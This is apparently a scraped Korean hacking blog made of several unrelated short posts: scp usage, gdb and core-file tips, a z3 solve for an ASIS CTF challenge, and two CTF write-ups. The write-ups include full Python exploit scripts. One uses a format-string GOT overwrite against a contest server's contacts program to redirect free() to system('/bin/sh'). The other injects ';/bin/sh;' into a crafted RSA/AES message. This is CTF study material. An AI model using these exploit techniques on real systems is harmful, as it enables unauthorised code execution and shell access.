samsung-updates.com (최신 펌웨어 다운로드)
opensource.samsung.com (구버전 펌웨어 오픈소스로 공개. 최신 펌웨어랑 그렇게 많은 차이가 나지 않음.)
samsung-updates.com (최신 펌웨어 다운로드)
opensource.samsung.com (구버전 펌웨어 오픈소스로 공개. 최신 펌웨어랑 그렇게 많은 차이가 나지 않음.)
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
scp 명령어를 이용한 파일 복사 및 전송
ssh에서 제공되는 scp 명령어를 통해 로컬서버↔원격서버 로의 파일을 간단하게 전송할 수 있다.
1. 사용방법
1) 원격 서버 → 로컬 서버로 파일 전송
# scp [옵션] [계정명]@[원격지IP주소]:[원본 경로 및 파일] [전송받을 위치]
예제1) IP 111.222.333.444 서버의 abc라는 계정으로 /home/abc/index.html 파일을 로컬서버 /home/me/ 디렉토리에 전송 받기
# scp abc@111.222.333.444:/home/abc/index.html /home/me/
2) 로컬 서버 → 원격 서버로 파일 전송
# scp [옵션] [원본 경로 및 파일] [계정명]@[원격지IP주소]:[전송할 경로]
예제2) 로컬서버 /home/me/wow.html 파일을 IP 111.222.333.444 서버의 /home/abc/ 디렉토리에 전송 하기
# scp /home/me/wow.html abc@111.222.333.444:/home/abc/
3) ssh포트를 기본 22번으로 사용하고 있지 않는 서버로의 전송
예제3) 2222번인 SSH포트를 사용한다면 아래와 같이 –P 옵션과 포트번호를 넣어준다.
# scp –P 2222 abc@111.222.333.444:/home/abc/index.html /home/me/
# scp –P 2222 /home/me/wow.html abc@111.222.333.444:/home/abc/
[주의사항]
옵션중에 –P와 –p가 있으니 대/소문자 확인을 하여야 한다.
-P : 포트번호를 지정함
-p : 원본파일 수정/사용시간 및 권한을 유지함
-r : 하위 디렉토리 및 파일 모두 복사함
freebsd memory map (0) | 2015.02.16 |
---|---|
gdb로 fork한 프로세스 디버깅 (0) | 2014.10.26 |
core 파일 생성 (0) | 2014.07.05 |
[Linux BOF] RTL, ROP시 함수를 사용할 때 (0) | 2014.04.16 |
[webhacking] 웹해킹할때 race condition (0) | 2014.04.05 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
SEEK_SET
is the beginning of the file; the value is 0.
SEEK_CUR
is the current file offset; the value is 1.
SEEK_END
is the end of the file; the value is 2.
적어도 블로그에는 하루에 최소 한개 이상은 써야겠다 (0) | 2014.02.24 |
---|
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
이상한 연산결과를 통해서
v5부터 v9까지 연속해서 출력해준다.
그냥 저식대로 z3에 넣어주면됨.
ASIS ctf 키값 형식이 ASIS{~~} 니까 앞의 글자 5개는 스택에 {SISA로 들어가게 될것이다.
따라서
>>> s.add((((0x3CC6C7B7 * v2)) & 0x000000ffffffffff) == int("{SISA".encode('hex'),16))
>>> s.model()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python2.7/dist-packages/z3.py", line 5952, in model
raise Z3Exception("model is not available")
z3types.Z3Exception: model is not available
>>> s.check()
sat
>>> s.model()
[v2 = 25313971399]
2014 codegate junior shellme (0) | 2015.04.05 |
---|---|
2015 bostonkeyparty havard (0) | 2015.03.10 |
2015 nullcon 400 (0) | 2015.01.28 |
2015 Nullcon exploitation 300 (0) | 2015.01.19 |
[HISCHALL 2013] BAAASIC GNIREENIGNE (0) | 2014.02.25 |
from zio import *
from time import *
import windowhan
import re
fsb_value = []
def fsbDump(sock,handler,count,spNum):
recv_data = ""
for index in range(1,count+1):
recv_data = handler(sock,index)
if recv_data.find('(nil)')>-1:
fsb_value.append("0x00000000")
else:
fsb_value.append("{0:#0{1}x}".format(int(re.findall("0[xX][0-9a-fA-F]+",recv_data)[0],16),10))
output = ""
string_output = ""
for i in range(0,len(fsb_value),spNum):
output = "[%%%s$p] " % str(i+1)
string_output = ""
for j in range(i,i+spNum):
try:
output += fsb_value[j] + " "
except:
print fsb_value
for k in range(0,len(fsb_value[j].replace("0x","")),2):
if int(fsb_value[j].replace("0x","")[k:k+2],16)>0x20 and int(fsb_value[j].replace("0x","")[k:k+2],16)<0x7f:
string_output += chr(int(fsb_value[j].replace("0x","")[k:k+2],16)) + "."
else:
string_output += ".."
print output + " | " + string_output
return fsb_value
def do_dump(sock,index):
recv_data = ""
sock.write('3' + '\n')
sock.write('aaaa' + '\n')
sock.write('2' + '\n')
sock.write('1000' + '\n')
sock.read_until("Description:")
sock.write('%' + str(index) + '$p ' + '\n')
sock.read_until(">>>")
sock.write('4' + '\n')
recv_data = sock.read_until("Menu:")
return recv_data
def create_contacts(sock,name,phone,descLen,desc):
sock.write("1" + "\n")
sock.read_until("Name:")
sock.write(name + "\n")
sock.read_until("Phone No:")
sock.write(phone + "\n")
sock.read_until("of description:")
sock.write(descLen + "\n")
sock.read_until("Enter description:")
sock.write(desc + "\n")
sock.read_until(">>>")
def remove_contacts(sock,name):
sock.write("2" + "\n")
sock.read_until("remove?")
sock.write(name + "\n")
sock.read_until(">>>")
def edit_desc_contacts(sock,name,newDesc):
sock.write("3" + "\n")
sock.read_until("change?")
sock.write(name + "\n")
sock.read_until(">>>")
sock.write("2" + "\n")
sock.read_until("Length of description:")
sock.write("3000" + "\n")
sock.read_until("Description:")
sock.write(newDesc + "\n")
sock.read_until(">>>")
def display_contacts(sock):
sock.write("4" + "\n")
recv_data = ""
recv_data = sock.read_until(">>>")
return recv_data.split("Description:")[1].split("Menu:")[0]
def exit_contacts(sock):
sock.write("5" + "\n")
s = zio(('54.208.16.165',2555))
create_contacts(s,'aaaa','123','1243','123')
# overwrite test
"""
s.write('3' + '\n')
s.write('aaaa' + '\n')
s.write('2' + '\n')
s.write('1313' + '\n')
s.read_until('Description:')
s.write('%24929c%6$hn' + '\n')
s.read_until(">>>")
s.write('4' + '\n')
s.read_until(">>>")
"""
dump_data = fsbDump(s,do_dump,10,5)
stack_base = int(dump_data[5],16)&0xffff0000
target_pointer_base1 = (int(dump_data[5],16)&0xffff) + 136
target_pointer_base2 = (int(dump_data[5],16)&0xffff) + 120
# GOT Overwrite
# First Contact
edit_desc_contacts(s,'aaaa','%' + str(target_pointer_base1) + 'c%6$hn')
display_contacts(s)
edit_desc_contacts(s,'aaaa','%45076c%18$hn')
display_contacts(s)
edit_desc_contacts(s,'aaaa','%' + str(target_pointer_base1+2) + 'c%6$hn')
display_contacts(s)
edit_desc_contacts(s,'aaaa','%2052c%18$hn')
display_contacts(s)
remove_contacts(s,'aaaa')
# Second Contact
create_contacts(s,'bbbb','123','1231','%' + str(target_pointer_base2) + 'c%6$hn')
display_contacts(s)
edit_desc_contacts(s,'bbbb','%45078c%18$hn')
display_contacts(s)
edit_desc_contacts(s,'bbbb','%' + str(target_pointer_base2+2) + 'c%6$hn')
display_contacts(s)
edit_desc_contacts(s,'bbbb','%2052c%18$hn')
display_contacts(s)
remove_contacts(s,'bbbb')
# leak free@got
create_contacts(s,'tttt','123','1231','%52$p')
display_contacts(s)
edit_desc_contacts(s,'tttt','%52$s')
leak_data = display_contacts(s)
windowhan.dump(leak_data)
free_got = leak_data[1:5]
print "[+] free_got : 0x%s" % free_got[::-1].encode('hex')
remove_contacts(s,'tttt')
offset_system = 0x0003fcd0
offset_dup2 = 0x000d9dd0
offset_read = 0x000d9490
offset_write = 0x000d9510
offset_binsh = 0x15da84
offset_free = 0x000760c0
offset = offset_free - offset_system
real_system = int("0x%s" % free_got[::-1].encode('hex'),16) - offset
print "[+] system address : %s" % hex(real_system)
print '[+] %' + str((real_system&0xffff0000)/0x10000) + 'c%48$hn'
print '[+] %' + str(real_system&0xffff) + 'c%52$hn'
create_contacts(s,'ffff','123','1243','%' + str((real_system&0xffff0000)/0x10000) + 'c%48$hn')
create_contacts(s,'gggg','123','1233','%' + str(real_system&0xffff) + 'c%52$hn')
display_contacts(s)
print "[+] system address : %s" % hex(real_system)
print "[+] free_got : 0x%s" % free_got[::-1].encode('hex')
create_contacts(s,'/bin/sh','123','1231','/bin/sh')
s.write('2' + '\n')
s.read_until("remove?")
s.write('/bin/sh' + '\n')
s.interact()
보던중 딱히 취약점은 보이지 않는다.
보니까 어디서 취약점이 터지지 이러고잇엇는데 마침 format string bug가 일어날 것같은 포스를 풍기는 곳을 발견!
그래서 %p%p를 encode한다음에 decode했는데 취약점이 터졌다.
그런 다음에 스택에 실행권한을 보았다.
스택에 모든 권한이있으므로 이걸 이용해서 FSB로 공부하면되겠다.
EXPLOIT 코드는 기말고사 공부 끝나고올려야지 흐하핳핳 bob붙고 기분이좋네
pwnable.kr otp (0) | 2015.12.27 |
---|---|
myproxy (0) | 2015.02.28 |
pwnable.kr dragon (0) | 2015.02.08 |
root@ubuntu:~/k# cat a.py
import rsa,subprocess
import b,c
import hashlib
import windowhan
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
from struct import pack
p = lambda x : pack('<L', x)
aes_key = "2"*16
aes_iv = "\x01"*16
data = "abcdddgs" + "\x00"*8
aes_mode = AES.MODE_CBC
aes_= AES.new(aes_key,aes_mode,IV=aes_iv)
aes_data = aes_.encrypt(data)
message = "\x1f\x8b\x08\x00"
message += aes_key
message += hashlib.sha256(aes_data + "\x00"*(0x700-len(aes_data))).digest()
message += "a" *11
message += ";/bin/sh;"
message += p(0x4017df)
encrypt_data = ""
rsa = c
encrypt_data = rsa.encrypt(message)
message = encrypt_data + aes_data + "\x00"*(0x700-len(aes_data))
print message + "a"*(1900-len(message))
이런 부분을 보았고,
이부분을 보았다.
plaintext에 chipertext를 복호화한게 들어가고 free해주는 과정에서 취약점이 발생할거같았다.
시도하던 중 BIO_Free 함수에서 SIGSEGV가 나길래 gdb로 디버깅해보았고,
call %rax라는 구문과 rdi를 내맘대로 조작할 수 있어서 풀었다.
RSA pkcs #1 때문에 시간을 많이잡아먹었다
ASIS 2015 fake (0) | 2015.11.13 |
---|---|
2015 bostonkeyparty havard (0) | 2015.03.10 |
2015 nullcon 400 (0) | 2015.01.28 |
2015 Nullcon exploitation 300 (0) | 2015.01.19 |
[HISCHALL 2013] BAAASIC GNIREENIGNE (0) | 2014.02.25 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
procstat -v pid
scp명령어 (0) | 2015.12.27 |
---|---|
gdb로 fork한 프로세스 디버깅 (0) | 2014.10.26 |
core 파일 생성 (0) | 2014.07.05 |
[Linux BOF] RTL, ROP시 함수를 사용할 때 (0) | 2014.04.16 |
[webhacking] 웹해킹할때 race condition (0) | 2014.04.05 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
set follow-fork-mode child
scp명령어 (0) | 2015.12.27 |
---|---|
freebsd memory map (0) | 2015.02.16 |
core 파일 생성 (0) | 2014.07.05 |
[Linux BOF] RTL, ROP시 함수를 사용할 때 (0) | 2014.04.16 |
[webhacking] 웹해킹할때 race condition (0) | 2014.04.05 |
segmentation fault 뜰때, 원인을 분석할 수 있게 core파일을 생성시킬 수 있는 옵션이다.
ulimit -c 10000
freebsd memory map (0) | 2015.02.16 |
---|---|
gdb로 fork한 프로세스 디버깅 (0) | 2014.10.26 |
[Linux BOF] RTL, ROP시 함수를 사용할 때 (0) | 2014.04.16 |
[webhacking] 웹해킹할때 race condition (0) | 2014.04.05 |
[GDB] 스택 값 수정하기 (0) | 2014.03.06 |
RTL이나 ROP할때 특히나 stdin같이 크기가 제한적인 부분에서는 쓰려는 함수 내에서 sub esp 로 인해서 esp가 권한이없는 부분을 가리키는것을 주의해야한다.
LOB 페도라 풀고있는데 system함수 쓰다가 암걸릴뻔했네요 ㅜ
gdb로 fork한 프로세스 디버깅 (0) | 2014.10.26 |
---|---|
core 파일 생성 (0) | 2014.07.05 |
[webhacking] 웹해킹할때 race condition (0) | 2014.04.05 |
[GDB] 스택 값 수정하기 (0) | 2014.03.06 |
[Linux BOF] fgets 등 함수에서 쓰는 임시버퍼에 관해서 (0) | 2014.03.02 |